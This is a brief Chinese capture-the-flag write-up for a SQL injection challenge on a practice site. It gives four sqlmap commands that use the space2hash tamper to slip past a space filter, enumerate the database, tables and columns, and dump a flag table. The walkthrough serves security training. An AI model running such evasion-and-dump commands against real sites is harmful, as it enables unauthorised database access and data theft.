实验吧 ctf 题目简单的sql注入2writeup

解题链接: http://ctf5.shiyanbar.com/web/index_2.php

1.输入id值,通过回显发现题目应该是进行了空格过滤

2.使用sqlmap进行注入

   2.1  python sqlmap.py  -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent  --tamper=space2hash.py 

         --current-db   查看当前数据库名称,返回web1


2.2  python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent  --tamper=space2hash.py   

       --current-db --tables 查看当前数据库名称和数据库里所有的表

看到web1里有个flag表,看来key就在里面

 2.3  python sqlmap.py  -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent  --tamper=space2hash.py

     --current-db --tables --columns  看到flag表里面有个flag列

                                  2.4  python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent  --tamper=space2hash.py --current-db --tables --columns flag --dump

   
   
   

你可能感兴趣的:(ctf)